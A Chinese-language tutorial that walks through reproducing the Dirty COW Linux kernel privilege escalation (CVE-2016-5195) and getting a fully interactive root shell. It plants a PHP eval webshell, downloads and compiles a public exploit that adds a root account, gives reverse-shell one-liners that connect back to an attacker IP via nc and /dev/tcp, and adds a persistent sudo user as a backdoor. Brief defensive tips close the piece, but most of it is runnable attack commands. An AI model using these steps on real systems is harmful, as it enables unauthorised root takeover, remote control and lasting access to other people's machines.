脏牛提权复现以及如何得到一个完全交互的shell
字数 1324 2025-08-05 08:17:55
脏牛漏洞(CVE-2016-5195)提权复现与完全交互式Shell获取指南
漏洞概述
漏洞名称:脏牛漏洞(Dirty COW, CVE-2016-5195)
漏洞类型:Linux内核本地提权漏洞
存在时间:2007年至2016年(约9年)
修复时间:2016年10月18日
漏洞原理
该漏洞存在于Linux内核的get_user_page函数中,在处理Copy-on-Write(COW)机制时产生竞态条件,导致COW过程被破坏。这使得攻击者能够向进程地址空间内的只读内存区域写入数据,从而可以修改关键系统文件如su或passwd来实现提权。
影响范围
以下内核版本存在漏洞:
- CentOS 7/RHEL 7: 低于3.10.0-327.36.3.el7
- CentOS 6/RHEL 6: 低于2.6.32-642.6.2.el6
- Ubuntu 16.10: 低于4.8.0-26.28
- Ubuntu 16.04: 低于4.4.0-45.66
- Ubuntu 14.04: 低于3.13.0-100.147
- Debian 8: 低于3.16.36-1+deb8u2
- Debian 7: 低于3.2.82-1
环境准备
测试环境搭建
-
安装Web服务:
yum -y install httpd php service httpd start -
关闭SELinux:
setenforce 0 -
开放80端口:
/sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT service httpd restart -
验证防火墙状态:
service iptables status -
创建测试Webshell:
echo "<?php eval($_REQUEST[123]);?>" > /var/www/html/shell.php
提权过程
1. 获取初始访问权限
通过Webshell连接工具(如蚁剑)获取低权限shell(通常为apache用户权限)。
2. 上传并编译EXP
-
下载脏牛EXP:
wget https://github.com/FireFart/dirtycow/raw/master/dirty.c -O /tmp/dirty.c -
编译EXP:
cd /tmp gcc -pthread dirty.c -o dirty -lcrypt
3. 执行提权
./dirty 123
此命令会:
- 创建一个名为
firefart的超级用户 - 密码为
123 - 备份原始
/etc/passwd到/tmp/passwd.bak
4. 验证提权
检查/etc/passwd文件:
cat /etc/passwd | grep firefart
获取完全交互式Shell
1. 解决su交互问题
通过Webshell直接执行su可能会失败,因为获得的shell不是完全交互式的。解决方法:
python -c 'import pty; pty.spawn("/bin/sh")'
# 或
python -c 'import pty; pty.spawn("/bin/bash")'
2. 使用NC反弹完全交互式Shell
方法一(目标主机有nc):
nc 攻击机IP 1234 -e /bin/sh
方法二(目标主机无nc):
bash -i >& /dev/tcp/攻击机IP/1234 0>&1
在攻击机上监听:
nc -lvnp 1234
3. 修复半交互式Shell问题
如果获得的shell仍然无法正常交互:
- 按
Ctrl-Z将当前进程放到后台并暂停 - 设置终端:
stty raw -echo - 将进程调回前台:
fg
权限维持
1. 恢复原始passwd文件
mv /tmp/passwd.bak /etc/passwd
2. 创建持久性root权限用户
-
添加普通用户:
adduser qaz passwd qaz -
赋予root权限:
编辑/etc/sudoers文件,在root ALL=(ALL) ALL下方添加:qaz ALL=(ALL) ALL或直接添加到wheel组:
usermod -aG wheel qaz
注意事项
- 操作完成后务必恢复原始
passwd文件,避免系统异常 - 创建的持久性用户应使用强密码
- 在实际渗透测试中,应获得授权后再进行此类操作
- 漏洞修复后应及时更新内核
防御措施
- 及时更新系统内核
- 限制非特权用户对关键文件的访问权限
- 启用SELinux等安全机制
- 监控系统关键文件(如/etc/passwd)的修改
通过以上步骤,可以完整复现脏牛漏洞的提权过程,并获得一个完全交互式的root权限shell,同时实现权限的持久化维持。